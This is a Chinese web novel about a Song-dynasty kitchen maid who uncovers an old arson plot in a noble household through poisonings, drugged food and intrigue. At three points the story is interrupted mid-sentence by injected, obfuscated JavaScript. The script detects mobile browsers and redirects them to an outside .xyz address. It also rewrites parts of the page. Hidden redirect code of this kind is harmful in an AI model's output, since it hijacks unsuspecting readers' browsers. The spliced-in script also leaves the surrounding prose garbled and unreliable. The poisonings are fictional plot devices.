《厨婢升阶记》 1. 灶台风火起 宋哲宗元祐三年,冬月廿七,寅时三刻 汴梁城的霜花爬满后厨窗棂时,久榆敲开一块松明子。火星溅在她新做的粗盐牙粉罐上,罐底“长宜”二字泛着幽光那是她用指甲刻的,昨夜趁刘婆子醉酒,偷描了任瑶妆盒上的缠枝纹。 “贱皮子!”吴娘子的笤帚疙瘩朝她砸来,久榆侧身避过,袖中掉出个纸包,里面是她新制的酵母团,用淘米水混着酒糟发了整宿。”徐师傅要的莲子羹,卯时前若见不着...” 着什么急?久榆弯腰拾纸包,指尖划过吴娘子裙角,“您裙上这蜀锦纹样,与城南绸缎庄被劫的那批货倒像。” 吴娘子脸色骤变往回收了收衣角:你...你胡说! 是不是胡说,三姑娘自会分辨! 久榆掀开铁釜,柏枝香混着洛神花的酸甜喷涌而出。 “不过您若肯赏勺蜜,我倒能替您在姑娘面前美言几句,比如这羹汤里的松烟香,原是您特意吩咐加的。”吴娘子攥紧帕子 久榆知道她在权衡:三姑娘任瑶素日最厌下人越权,若知她私改膳食方子,轻则罚俸,重则笞二十。 拿去! 吴娘子甩下蜜罐 少耍花样! 久榆舀蜜时故意手抖,让蜜渍顺着罐沿流到吴娘子裙上:哎呀,这可怎么好?却在俯身擦拭时,悄悄从她腰间顺走了库房钥匙模子。 徐师傅到! 久榆转身时,已换上惶恐神色,却在低头瞬间,将半片紫背天葵碾成汁液,抹在徐明远袖间焦痕处,那焦痕竟与她藏在发间的银簪尾端严丝合缝。 羹汤七分熟,可敢尝? 她捧碗的指尖沾着蜜渍,在碗沿画出朵宝相花。 徐明远挑眉接过,汤色如琥珀中嵌着雪色银耳,勺底沉着枚去核山楂这是唯有御膳房才知的“去腻窍”。 他忽然压低嗓音:二十年前,长宜斋的冰酪方也是这般巧思? 久榆腕间红绳微颤,那是母亲用长宜斋旧旗拆的线编的。她凑近半步,闻见他袖间沉水香里混着焦木味:徐师傅可知,冰窖第三柱的鱼眼石,夜里会泛银光? 徐明远瞳孔骤缩,手中茶盏”当啷”落地。久榆趁机将昨夜偷抄的《凝冰要诀》塞进他袖中,指尖掠过他腕间“疤痕”那形状,分明是当年火场救人时被房梁砸的。 戌时三刻,演武场灯笼亮了。久榆踩着墙根阴影前行,忽然被拽进假山石缝。赵州的沉水香裹着雪粒扑来,他指尖捏着她方才顺的钥匙模子:偷钥匙、制伪印、仿笔迹,久榆,你胆子大得让我想把你锁在书房。 公子想锁的,怕是长宜斋的秘典吧?她仰头看他,月光落进他眼底朱砂痣 “昨夜您在藏书阁查的《元丰火灾实录》,小的正巧读过第十页缺角,是被烛火烧的。夜里风大,小心火烧你身上。” 赵州忽然笑了,笑声里带着几分趣味:你还知道什么? 知道公子每月十五去破庙,不是为了烧香而是为了看墙上的涂鸦! 她从衣襟摸出块蜜渍梅子,正是他送给她弟弟的那味 小公子的字,比我弟弟的狗爬体强些! 赵州猛地扣住她手腕,却触到她袖中硬纸,是她新画的赵府库房分布图。他忽然松手,从腰间扯下玉佩塞进她掌心:明日申时,带这个去慈云寺后巷。若敢迟到... 就把我做成蜜渍人? 久榆把玩着玉佩,宝相花纹在她指间流转:公子可知,这纹路与我银簪的宜字,合起来是长宜? 赵州眼神一暗,忽听得远处更夫敲锣“天干物燥,小心火烛”他推她出去,声音混着风雪:记住,别用吴娘子给的蜜。 回到后厨,久榆将钥匙模子浸入蜂蜡。吴娘子的脚步声渐近,她忽然抓起炭笔,在灶台刻下三道斜杠,这是她自创的暗号,意为三日之内,必有火劫 久榆!吴娘子举着灯笼进来把新制的蜜渍呈给姑娘们 久榆掀开坛盖,面上浮着的玫瑰花瓣鲜艳欲滴,却在吴娘子转身时,迅速撒了把槐花进去这是她特制的”泻肚散”,专门对付克扣她月钱的人。 对了,她忽然想起什么,方才见公子房里的烛花爆了,怕是要有贵客临门呢? 吴娘子脸色一白,匆匆离去。久榆摸出银簪,借着月光细看簪头的宝相花忽然裂开,露出半张纸条,上面是母亲的字迹:赵州之父,乃你父刎颈之交。 她攥紧簪子,听见远处传来马蹄声。窗外的霜花不知何时凝成了冰纹,竟与她画在蜜渍坛上的”宜”字一模一样。 灶膛里的火忽然旺了,久榆望着跳动的火苗轻笑。 这深宅里的人啊,总以为她是任人拿捏的软柿子,却不知 她早已在每个灶台缝里埋下火种,只等东风起时,烧他个干干净净。 吴娘子的脚步声消失在月洞门后,久榆立刻摸出藏在围裙夹层的鹅毛笔。笔尖蘸着灶灰混蛋清调制的隐形墨水,在方才顺来的库房清单背面疾书:卯时三刻,蜜渍坛有泻药,可引蛇出洞。 她将纸条卷成细条,塞进银簪顶端的暗格里。这簪子原是母亲的陪嫁,三个月前她用从徐明远处偷来的金工图谱改制,如今既能藏密信,又能当锥子破窗。 窗外传来更夫卯时初刻的梆子声,久榆解下腰间的碎布囊,里头装着她攒了三个月的碎银,共三两七钱四分。她摸出其中五钱,用帕子包了,塞进墙缝里的空心砖内,那是与城西药铺的接头点,专为给弟弟换药。 久榆!任瑶的丫鬟翡翠突然掀帘进来,“姑娘要喝杏仁酪,快些!” 久榆应了声,目光扫过翡翠腕间的鎏金镯子那是吴娘子昨儿送的,镯子内侧刻着“吴记”二字,正是城南绸缎庄的标记。她转身时,故意将装着槐花的纸包碰落在地:呀,这可怎么好,姑娘的杏仁酪... “算了,用蜂蜜代替吧,姑娘说不拘什么口味。”翡翠皱眉 久榆唇角微扬。任瑶素日最厌甜腻,此刻却特许用蜜,显然是收到了她今早通过小厮传递的吴娘子私通外敌密信。她舀了半勺蜜,却在翡翠转身时,往酪里加了点炒米碎这是赵州前日提过的吃法,说是能解腻。 卯时三刻,后厨突然传来尖叫。 来人!吴娘子吐得人事不省!小厮们抬着脸色惨白的吴娘子路过灶台,久榆瞥见她裙角的蜜渍已变成青黑色那是槐花与巴豆相遇的化学反应。 “怎么回事?”徐明远的沉喝传来。 久榆适时捧着杏仁酪出现:“回师傅,方才见吴娘子吃了蜜渍,许是食材相冲...”她指尖轻点酪碗,“小的今早用了新制的酵母,或许...” “酵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506317|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母?谁准你私用的?”徐明远挑眉 “是...是三姑娘吩咐的。”久榆垂下眼睑,“她说想尝尝松软些的酪,小的斗胆一试。” 徐明远脸色微变。任瑶素日不理后厨琐事,此刻突然介入,显然是要保久榆。他扫过她发间的银簪,忽然冷笑:“既然是姑娘吩咐,便罢了。去替吴娘子煎碗黄连水,记住用柏枝火。” 久榆心下明了:柏枝火性燥,正克巴豆的寒毒。徐明远这是在试探她是否知道“以火攻毒”的医理。她转身时,却见赵州倚在廊柱上,手里抛着她方才藏在空心砖里的碎银。 “身手不错。”他挑眉,碎银在晨光中泛着微光“不过下次藏钱,记得选块干燥些的砖你墙缝里的潮气,都把银锭浸出绿锈了。” 久榆攥紧围裙,面上却作惶恐:“公子说笑了,小的哪有什么银锭...” “别装了。”赵州忽然凑近,她闻见他袖间混着的沉水香与硝烟味,“城西药铺的王大夫,可是本公子的旧识。你弟弟的牛痘药,还是我让他特意留的。” 久榆浑身血液凝固。弟弟的病一直是她的死穴,此刻被赵州拿捏,她却只能强作镇定:“公子若是想要什么,直说便是。” “想要你...”赵州忽然轻笑,将碎银塞回她掌心,“替我做份蜜渍梅子。要加玫瑰露,还要用去年的雪水腌。”他转身时,袖中掉出张纸页,上面是她昨夜画的赵府地形图。 申时初刻,慈云寺后巷。 久榆攥着赵州的玉佩,指尖触到玉佩背面的细字:“宜男草生,长宜不败。”这是长宜斋的暗语,母亲的锦囊里也有相同字迹。她推开斑驳的木门,扑面而来的不是预想中的茶香,而是浓重的血腥味。 “久榆姑娘。” 穿灰布衫的老者从阴影里走出,腰间挂着与她银簪同款的宝相花吊坠。他掀开桌上的白布,露出具焦黑的尸体,右手紧握着半块冰酪方子正是她昨夜抄给徐明远的那份。 “这是长宜斋的老掌柜,”老者嗓音沙哑,“昨夜去赵府取方子,再未回来。” 久榆俯身查看尸体,见死者指甲缝里嵌着蜀锦碎片与吴娘子心腹丫鬟的袖口纹样一致。她忽然想起赵州的警告:“别用吴娘子给的蜜。”原来他早知有人要借她的手杀人。 “方子在何处?”老者急问。 久榆摸出银簪,暗格中的纸条已被汗水浸透:“冰窖第三柱,鱼眼藏钥,子时三刻。”她抬头看向老者,目光落在他身后的屏风上那上面绘着的,正是赵府冰窖的结构图。 “今晚子时”她将簪子塞进老者手中“我带你们去取。” 老者惊怔:“你可知这意味着什么?” “意味着”久榆转身望向赵府方向,暮色中,后厨的烟囱正冒出青烟,“长宜斋的火,该烧起来了。” 她摸出袖中的蜜渍梅子,咬下时尝到异样的苦味这枚梅子被人动过手脚,里头藏着粒蜡丸。她捏碎蜡丸,露出纸条上的字迹:“小心徐明远,他是当年纵火者。” 巷口的风卷起落叶,久榆望着手中的梅子轻笑。 这深宅的水远比她想象的深,可那又如何? 她早已不是任人拿捏的厨婢,而是握着火种的人。 待得子时三刻,且看她如何用这把火,烧穿这深宅的层层迷雾。 2. 子夜冰窟 慈云寺的暮鼓敲过三通,久榆摸黑回到赵府后厨。灶膛里的余烬尚温,她却无心取暖,只盯着墙上的更漏——子时初刻,还差半个时辰。 “久榆?” 任瑶的声音突然从阴影里传来,惊得她指尖一颤。三姑娘今日换了身暗色罗裙,面上未施粉黛,倒比平日多了几分英气:“我派翡翠查过了,吴娘子确实与城南绸缎庄有私。” 久榆低头擦拭案几,余光却留意着任瑶腰间的锦囊——那是今早她借送杏仁酪之机,悄悄塞了密信进去。“姑娘可知,”她故意压低嗓音,“徐师傅袖间的焦痕,与二十年前的火灾...” “够了!”任瑶忽然打断,袖中掉出半卷《元丰实录》,“有些事,知道得越少越安全。”她顿了顿,从锦囊里摸出枚鎏金戒指,“戌时三刻,城西破庙。” 戒指内侧刻着“宜”字,与久榆的银簪纹路相契。目送任瑶离去的背影,久榆忽然想起母亲临终前的话:“任瑶生母曾是长宜斋的绣娘。”这或许能解释,为何三姑娘总对她另眼相看。 子时初刻,久榆摸到冰窖后门。铜锁在月光下泛着冷光,她摸出银簪,簪头的宝相花轻轻一转,竟弹出枚细如发丝的钥匙——这是她照着赵州玉佩的纹路仿制的。 冰窖内寒气刺骨,她顺着墙根摸索到第三根石柱,指尖触到凸起的鱼眼石。轻轻一按,石缝里滚出枚铜钥匙,钥匙环上刻着“长宜”二字,与她藏在齿间的铜钱严丝合缝。 “果然在这里。” 阴冷的男声从头顶传来。久榆迅速吹灭蜡烛,整个人贴紧石柱。黑暗中,她听见徐明远的脚步声越来越近,伴随的还有另一个熟悉的嗓音——竟是赵府的老管家! “东西带来了?”徐明远问。 “都在这。”老管家压低声音,“只要拿到冰酪方,咱们就能向宰相大人复命了。当年那场火...可不能白费。” 久榆心生怒火。原来徐明远才是当年纵火的真凶,而老管家竟也是同谋!她攥紧铜钥匙,指甲深深掐进掌心,忽然想起赵州给的蜜渍梅子里的纸条:“小心徐明远,他是当年纵火者。” “先别急着灭口。”徐明远冷笑,“那厨婢似乎知道长宜斋的秘典下落,留着她或许有用...” 话音未落,冰窖顶部突然传来瓦片轻响。徐明远骤然抬剑,却见道白影闪过——是赵州!他手中袖箭连发,逼得老管家连连后退,却在此时,久榆听见身后传来机关转动声。 她转身一看,竟见石柱上浮现出暗格,里面整整齐齐码着数十本账册,最上面那本封皮写着:“长宜斋收支录,元丰三年”。 “久榆,接着!” 赵州的吼声惊破凝滞。久榆本能地抬手,接住他抛来的火折子——这是她昨日替他制的防水火折,此刻在冰窖中竟格外合用。她果断将火折子扔进账册堆,腾起的火焰瞬间照亮徐明远扭曲的脸。 “你竟敢!”徐明远挥剑砍来,却被赵州拦住。两人在火光中打斗,久榆趁机翻开账册,见里面夹着张泛黄的纸页——正是父亲的绝笔信,上面写着:“冰酪方藏于...宜男草...” “久榆!”赵州忽然喊她,“带账册先走!” 她这才惊觉冰窖顶部开始渗水,显然是方才的打斗触动了机关。抱起账册冲向门口时,久榆忽然瞥见老管家掏出包白粉撒向火焰——那是她前日在库房见过的“焚尽粉”,遇火即爆! “小心!”她猛地推开赵州,自己却被气浪掀翻在地。昏迷前最后一刻,她感觉到有人将她护进怀里,耳边是赵州的怒骂:“该死的,你敢死我就把赵府烧了给你陪葬!” 再睁眼时,已是次日辰时。久榆躺在任瑶的小厨房里,鼻尖萦绕着熟悉的柏枝香。床头坐着个陌生少年,穿一身藏青色劲装,腰间挂着与赵州同款的袖箭筒。 “醒了?”少年挑眉“我家公子为救你,昨夜被徐明远划伤了手臂。” 他递来碗姜汤:“喝吧,冰窖里的寒气重别再病了。” 久榆握碗的手一顿:“你家公子...是赵州?” 少年失笑:“不然呢?赵府还有第二个能使唤我的人?”他忽然压低声音,“我家公子说了,等你好些,便带你去见一个人——长宜斋的现任楼主。” 正说着,任瑶掀帘进来,身后跟着垂头丧气的翡翠:“吴娘子已经被押去官府了,你猜怎么着?她竟供出老管家才是当年偷秘方的人。” 久榆闻言会意,显然是赵州在幕后操纵了这一切。她摸出藏在衣襟里的账册,却发现最关键的那页已被烧去半角,唯有“宜男草”三个字依稀可辨。 “这是?”任瑶盯着账册封皮。 “是...是菜谱。”久榆将账册塞进枕头下,“姑娘可知道,宜男草除了入药,还能用来做什么?” 任瑶摇头。久榆忽然想起赵州玉佩上的刻字:“宜男草生,长宜不败。”她唇角微扬,从案上取过枚杏仁,用小刀雕成宜男草的形状:“能用来雕花,还能...引出藏得最深的那条鱼。” 午后,久榆带着任瑶给的蜜饯去看弟弟。破庙的墙根下,她意外遇见正在喂流浪猫的赵州。他左臂缠着绷带,却仍笑得玩世不恭:“怎么,心疼了?” 久榆将蜜饯塞给弟弟,故意无视他的调侃:“徐明远呢?” “押去御史台了。”赵州抛着颗石子,“不过他还有同党在暗处——比如你昨日在慈云寺见的那位老者。” 久榆瞳孔微缩,原来她的一举一动都在他掌握之中。赵州忽然凑近,从她发间取下片灰烬:“知道我为何救你吗?” “因为我知道长宜斋的秘典下落?” “不。”他忽然轻笑,指尖划过她腕间红绳,“因为你和我一样,都有想烧干净的东西。” 风起时,久榆看见破庙墙上新添了幅涂鸦——是株正在燃烧的宜男草,旁边歪歪扭扭写着两个字:“久榆”。她忽然想起昨夜在冰窖里,赵州护着她时,她闻到的除了沉水香,还有一丝若有若无的玫瑰露味——那是她新制的蜜渍才有的香气。 原来从始至终,他都在暗处看着她,如同她看着深宅里的每一个人。 久榆攥紧手中的宜男草雕花,望着远处赵府高耸的飞檐轻笑。 这一局,她虽未全胜,却已拿到最关键的筹码。 手中的杏仁雕花在阳光下泛着温润的光,久榆用帕子仔细包好,塞进弟弟破旧的棉袄里:“藏好了,别给任何人看。”七岁的男孩懵懂点头,发丝间还沾着破庙的草屑,却比昨日多了几分精神——显然是赵州派来的大夫瞧过了。 “姐姐何时接我出去?”男孩拽着她的衣角,眼里映着汴河的波光。 久榆替他理了理歪掉的衣领,指尖触到内衬里缝着的碎银——这是今早任瑶偷偷塞给她的。“快了。”她轻声说,目光掠过男孩颈间晃动的银锁,锁面上“长宜”二字与她的银簪遥相呼应,“等姐姐在汴梁城开了最大的冰酪铺,就接你去当小掌柜。” 赵州倚在破庙门框上,将这一切尽收眼底。他今日换了身不起眼的青布衫,却仍掩不住腰间玉佩的贵气:“宜男草雕花,确实比蜜渍梅子更适合传递消息。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“宜男草喜阴湿,全汴梁只有赵府的后园能种活。”久榆望向远处的飞檐,那里曾是她可望不可即的主子居所,“当年长宜斋的楼主与赵府有旧,所以才能拿到这种草。而您...早就知道这件事,对吗?” 赵州沉默片刻,从袖中摸出本泛黄的账册——正是她在冰窖中见过的那本。账册某页用朱砂圈着:“宜男草十斤,送长宜斋,元丰三年三月初三”。 “那是父亲第一次带我去后园。”他指尖划过字迹,“我记得他说,宜男草又名忘忧草,可他每次看这草时,眉头都皱得极紧。” 久榆忽然想起昨夜在冰窖,赵州护着她时,她看见他后背有块陈旧的烫伤——形状竟与宜男草的叶片相似。原来从出生起,他就被卷入了这场阴谋。 “所以您接近我,不是因为我是厨婢,而是因为我是长宜斋的后人。”她的语气平静,却藏着锋芒。 赵州忽然笑了,笑声里带着几分苦涩:“一开始是。但后来...”他顿了顿,目光落在她腕间的红绳上,“发现你比我想象的更有趣。” 风起时,破庙的铃铛发出清响。久榆望着汴河上的漕船,忽然想起母亲说过的话:“汴河九孔桥洞,藏着长宜斋的最后生机。”她摸出藏在鞋底的铜钥匙,钥匙环上的“长宜”二字与赵州的玉佩碰撞,发出清越的响声。 “子时三刻,九孔桥见。”她将钥匙塞进他掌心,“带上宜男草的种苗,还有...您母亲的陪嫁地图。” 赵州挑眉:“你怎么知道我有地图?” “因为您昨儿受伤时,我看见您怀里掉出了半幅绢画。”久榆转身走向赵府方向,嘴角勾起轻笑,“那上面的水波纹路,与我母亲锦囊里的暗纹一模一样。” 身后传来赵州的低笑:“久榆,你果然什么都知道。” 她没有回头,只摸出方才雕好的宜男草雕花,轻轻抛进汴河。雕花顺着水流漂向远方,宛如她即将展开的棋局—— 这一次,她要借着赵府的宜男草,烧出长宜斋的新生; 而那个藏在深宅深处的秘密,也终将随着汴河的波光,露出它最真实的模样。 3. 糕点陷阱 卯时三刻,久榆掀开蒸笼,奶白色的茯苓酥在晨光中冒着热气。她捏起一块,用银簪尖在酥皮上刻出极小的“宜”字——这是给任瑶的安胎点心,表面是健脾的茯苓,内里却藏着能止血的阿胶碎,专为应对老夫人房里的藏红花阴谋。 “久榆!”吴娘子的尖嗓从廊下传来,“二房姨娘要吃酥酪,用最好的牛乳,慢了仔细你的手!” 久榆垂眸应下,指尖却在牛乳桶沿轻轻叩击——三长两短,这是与前院马夫约定的暗号。昨夜她趁吴娘子醉酒,偷看到她往二房姨娘的酥酪里加了一味“落胎药”,此刻正是她将计就计的时机。 巳时初刻,久榆抱着空牛乳桶路过角门,果然见二房姨娘的贴身丫鬟采儿鬼鬼祟祟地钻进来。她假装被门槛绊倒,木桶滚向采儿,里面流出的却不是牛乳,而是混着皂角的泔水。 “你找死!”采儿跳脚,裙角溅满污水。 久榆“惶恐”地跪下:“小的该死,可这牛乳...早被三房公子要走了。”她压低声音,“听说三房公子昨夜宿在城西勾栏,今早起来浑身无力,非要用牛乳炖鹿鞭补身。” 采儿脸色骤变——三房公子素日与二房姨娘不和,若被大房知道他逛勾栏,必受重罚。她跺了跺脚,匆匆跑回二房,久榆趁机从袖中摸出真正的牛乳,藏进任瑶房里的暗格。 午后,赵州倚在膳房窗台,手里转着块茯苓酥:“听说你截了二房的牛乳?” 久榆擦着案板,故意将沾了面粉的抹布甩向他:“公子消息灵通,怎不知三房公子的‘补身方’是假的?” 赵州挑眉,避开抹布:“哦?那真的牛乳去哪儿了?” “在三姑娘房里,炖了阿胶莲子羹。”久榆直视他的眼睛,“任瑶姑娘有孕三月,公子该比谁都清楚。” 赵州忽然逼近,沉水香混着檀香袭来:“你倒是聪明,可知道为什么老夫人至今没动任瑶?”他从袖中摸出张药方,“因为她在等任瑶胎像稳固,再一举坐实‘庶女弑嫡’的罪名。” 久榆接过药方,见上面写着“缺月饮”——用缺月时的露水炮制,专门诱发滑胎。她攥紧纸张,想起母亲临终前攥着的碎银,上面也刻着同样的纹路。 “我要你做件事。”赵州忽然说,“明日老夫人要请太医诊脉,你在她的参茶里加样东西。” “什么?” “白萝卜汁。”他眼里闪过冷光,“参茶遇萝卜,药效尽失。老夫人会以为是任瑶动的手,而任瑶...会以为是你。” 久榆挑眉:“公子这是要让她们鹬蚌相争?” “不。”赵州忽然轻笑,“我要让你做那只黄雀。” 申时三刻,久榆捧着参茶走进老夫人卧房。周嬷嬷正要接过,她却故意失手,茶盏摔在地上,琥珀色的汤汁渗进地砖缝,露出底下藏着的“滑胎药”残渣——正是昨日她趁周嬷嬷换班时埋下的。 “这是...?”老夫人瞪大双眼。 久榆“惊恐”地跪下:“小的今早看见周嬷嬷往茶里加东西,以为是您的吩咐...” 周嬷嬷脸色惨白,扑通跪下:“老夫人明鉴,这是二房姨娘给的药,说是能让三姑娘滑胎!” 老夫人怒拍桌案:“糊涂东西!任瑶若出事,赵府的脸往哪儿搁?”她忽然咳嗽起来,久榆这才惊觉,参茶里的白萝卜汁已生效,老夫人的气虚之症愈发严重。 任瑶适时走进来,望着地上的残渣,眼里闪过了然:“祖母息怒,不如让儿媳亲自掌管膳食,也好确保您的安危。” 老夫人喘着气点头,久榆趁机将一块茯苓酥塞进任瑶掌心——酥皮上的“宜”字已被她改成“安”,寓意“安胎平安”。 深夜,久榆坐在灶台前磨杏仁粉,任瑶的丫鬟翡翠悄悄溜进来,往她手里塞了个锦盒:“姑娘说,这是给你的谢礼。” 锦盒里躺着枚银戒指,戒面刻着膳房的图腾,正是首席厨娘的象征。久榆摸出藏在发髻里的银簪,簪头的“长宜”与戒指上的“膳”字相映成趣,宛如她此刻的双重身份——既是长宜斋的后人,又是赵府膳房的掌权者。 “还有这个。”翡翠又塞给她一张纸,“公子让交给你。” 纸上是赵州的字迹:“老夫人房里的檀木柜,第三层有你父亲的卷宗”。久榆攥紧纸条,想起白日里老夫人咳嗽时,赵州眼底闪过的痛楚——原来他早已布好局,借她的手扳倒老夫人,也借老夫人的手,让任瑶名正言顺地接管中馈。 灶膛里的火忽明忽暗,映着她微扬的唇角。 这深宅的每一道膳食,都是她的棋子; 而每一个棋子的落子,都在为最终的将军铺路。 她望向窗外的飞檐,月光照亮膳房的匾额,忽然轻笑—— 待得东风起时,且看她如何用这小小的灶台,烧穿这深宅的层层迷雾,让长宜斋的名号,响彻这汴梁城的每一个角落。 寅时初刻,久榆站在膳房中央,盯着新到的太湖糯米出神。米粒颗颗晶莹如珠,她捏起一粒对着烛火,见米芯竟透着淡淡的青色——这是用孔雀石粉浸泡过的“毒米”,专门用来对付孕期女子,轻则滑胎,重则丧命。 “吴娘子,这米...”她转身时,故意让袖口扫过案上的糖霜罐,细白的糖霜撒在糯米上,立刻泛起淡紫色斑点——这是她昨夜新制的“验毒糖霜”,遇毒即显色。 吴娘子脸色骤变,却强作镇定:“少啰嗦!三姑娘要喝糯米粥,赶紧做!” 久榆应下,待吴娘子转身,立刻将毒米倒入泔水桶,换上提前备好的白糯米。她知道,这是老夫人最后的试探——任瑶刚接管中馈,她们便想借“膳食失误”让其下台。 巳时三刻,久榆端着糯米粥穿过回廊,忽见老夫人的贴身丫鬟捧着个描金食盒走进任瑶院子。她假意被石子绊倒,粥碗摔在地上,却在起身时,用藏在袖中的银簪尖划破食盒封条——里面竟是掺了麝香的绿豆糕。 “怎么回事?”任瑶扶着腰出来,脸色苍白。 久榆盯着绿豆糕:“姑娘小心,这糕点里有麝香。”她转向丫鬟,“可是老夫人让送的?” 丫鬟支支吾吾,久榆趁机举起银簪:“我这簪子遇麝香即黑,不信你看!” 簪尖果然泛起黑色,任瑶脸色一沉:“去回禀老夫人,就说我谢过她的‘心意’了。” 午后,赵州在膳房后巷拦住久榆,手里拎着块发霉的绿豆糕:“老夫人这次失算了。” 久榆擦着手,从他手里接过糕体,掰开后露出里面的朱砂字:“戌时三刻,假山石缝”。这是她与任瑶约定的密语,意为“有急情相商”。 “公子可知,”她压低声音,“老夫人房里的紫檀柜,第三层夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506319|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层藏着本《香谱》,里面记着所有害过人的香方。” 赵州挑眉:“你想怎么做?” “今晚子时,”久榆摸出包着糖霜的纸包,“我会在老夫人的安神香里加一味‘忘忧粉’,让她在梦里说出当年纵火的真相。” “忘忧粉?”赵州轻笑,“听起来像你做的蜜渍。” “确实像。”久榆晃了晃纸包,“不过这东西吃多了会说胡话,公子要不要试试?” 戌时三刻,久榆躲在假山石缝里,任瑶的身影如期而至。她递上一个锦盒:“这是从老夫人那里偷的香灰,你闻闻。” 久榆接过一闻,香灰里混着沉水香与焦木味——正是二十年前那场大火的味道。她攥紧锦盒:“当年纵火的人,用了沉水香掩盖煤油味。” 任瑶点头:“我查到,那批沉水香是丞相府送的。” 两人正说着,远处传来更夫“子时初刻”的梆子声。久榆摸出忘忧粉,混进老夫人的安神香里——这粉末遇热即化,会随着烟雾进入人的七窍。 子时三刻,老夫人房里忽然传来惊呼:“别烧!是丞相府...是他们让我...” 久榆躲在窗外,透过窗纸的缝隙,看见老夫人正抓着周嬷嬷的手,眼神混沌却带着恐惧:“长宜斋的秘典...我没拿到...梁明远是替死鬼...” 任瑶握紧拳头,久榆却注意到,老夫人枕边放着块蜜渍梅子——正是今早她送给任瑶的那一种。原来老夫人早已疑心任瑶,故意用梅子试探她是否在膳食里动手脚。 “快走!”赵州忽然出现,拽着她躲进阴影里。 久榆听见身后传来瓷器碎裂声,老夫人的尖叫混着周嬷嬷的劝慰,渐渐被夜色吞没。她摸出袖中的糖霜,指尖还沾着忘忧粉的细屑——这一次,老夫人的秘密,终于随着香雾泄露了一角。 深夜,久榆坐在灶台前,用糖霜在案板上画着香方图谱。任瑶送来的香灰被她分成三份,分别标着“丞相府”“赵府”“长宜斋”。赵州倚在门框上,手里转着从老夫人那里顺来的钥匙:“明日去开紫檀柜?” 久榆点头,目光落在他腰间的玉佩上——那是赵府历代嫡子的信物,此刻却挂在他这个庶子腰间。她忽然想起白日里任瑶说的话:“赵州虽是庶出,却比嫡子更得父亲欢心。” 灶膛里的火照亮他的侧脸,久榆忽然轻笑:“公子可知道,忘忧粉除了让人说胡话,还有个用处?” “哦?” “能让糕点更松软。”她捏起块面团,混进忘忧粉,“明日给老夫人送的枣泥糕里,我打算多加点这个——让她尝尝,自己种下的苦果,到底是什么滋味。” 赵州大笑,笑声里带着几分狠戾:“久榆,你果然比蜜渍还狠。” 她挑眉,将面团塑成寿桃形状:“狠?这不过是深宅里的Survival法则——你不吃人,就会被人吃。” 窗外传来更夫“卯时初刻”的梆子声,久榆将寿桃放进蒸笼。水汽氤氲中,她看见自己映在笼屉上的影子——不再是那个任人拿捏的厨婢,而是手握糖霜与香料的棋手。 这一局,她用香方为棋,糖霜为刃 下一个落子处,便是老夫人的紫檀柜 而柜子里藏着的 不仅是长宜斋的秘典 更是她父亲蒙冤二十年的真相。 4. 新主掌膳 卯时三刻,久榆将蒸好的枣泥寿桃装入描金食盒,指尖在盒盖上轻轻叩击——三长一短,这是与赵州约定的“行动暗号”。枣泥里掺了双倍的忘忧粉,此刻正散发着诱人的甜香,却不知这香气里藏着能让人松弛舌根的药粉。 “久榆,”任瑶忽然出现在膳房门口,今日她换了身藏青色褙子,腰间挂着老夫人新赐的双鱼玉佩,“祖母说,要你亲自送寿桃过去。” 久榆抬眼,任瑶眼底闪过一丝不易察觉的紧张。她会意——老夫人这是要当面试探她是否在糕点里动了手脚。 老夫人的紫檀柜前,久榆捧着食盒跪下。晨光透过窗棂,在老夫人脸上织出网状的阴影,她盯着寿桃,忽然冷笑:“听说你昨夜在我院子里鬼鬼祟祟?” “小的只是来送安神香。”久榆垂眸,将食盒往前推了推,“这寿桃是新学的方子,加了忘忧草,能让您睡个安稳觉。” “忘忧草?”老夫人挑眉,“是长宜斋的那种?” 久榆指尖微颤——老夫人竟知道宜男草的别称。她稳住声线:“不过是普通草药,老夫人尝尝便知。” 老夫人捏起寿桃,咬下一口的瞬间,久榆听见紫檀柜里传来“咔嗒”一声。赵州的暗卫青禾已按计划撬开了柜底的机关,而她此刻的任务,是用忘忧粉拖延时间。 “味道不错。”老夫人打了个哈欠,眼神渐渐混沌,“当年...梁明远那傻子,偏要护着赵宜之...” 久榆浑身血液凝固。父亲的名字与赵州父亲的字同时从老夫人嘴里说出,原来二十年前,他们三人竟有牵扯。 “秘典...在柜里...”老夫人话音未落,便歪倒在榻上。 久榆立刻起身,冲向紫檀柜。柜门打开的瞬间,她听见身后传来瓷器碎裂声——周嬷嬷举着青瓷碗,碗里装着能解忘忧粉的黄连水。 “你敢害老夫人!”周嬷嬷尖叫。 久榆迅速抽出柜中的黄绢,转身时,却见任瑶扶着腰走进来,身后跟着赵州与大房老爷。 “这是怎么回事?”大房老爷皱眉。 久榆展开黄绢,上面赫然是长宜斋秘典的残页,还有张盖着赵府印章的“纵火案结案书”,落款处竟有老夫人的手印。 “爹,”赵州上前一步,“当年的纵火案,祖母才是主谋。” 正午的花厅里,各房齐聚。久榆站在中央,面前摆着从紫檀柜里搜出的证物:半瓶沉水香、三封丞相府密信、还有她父亲的画押供词。 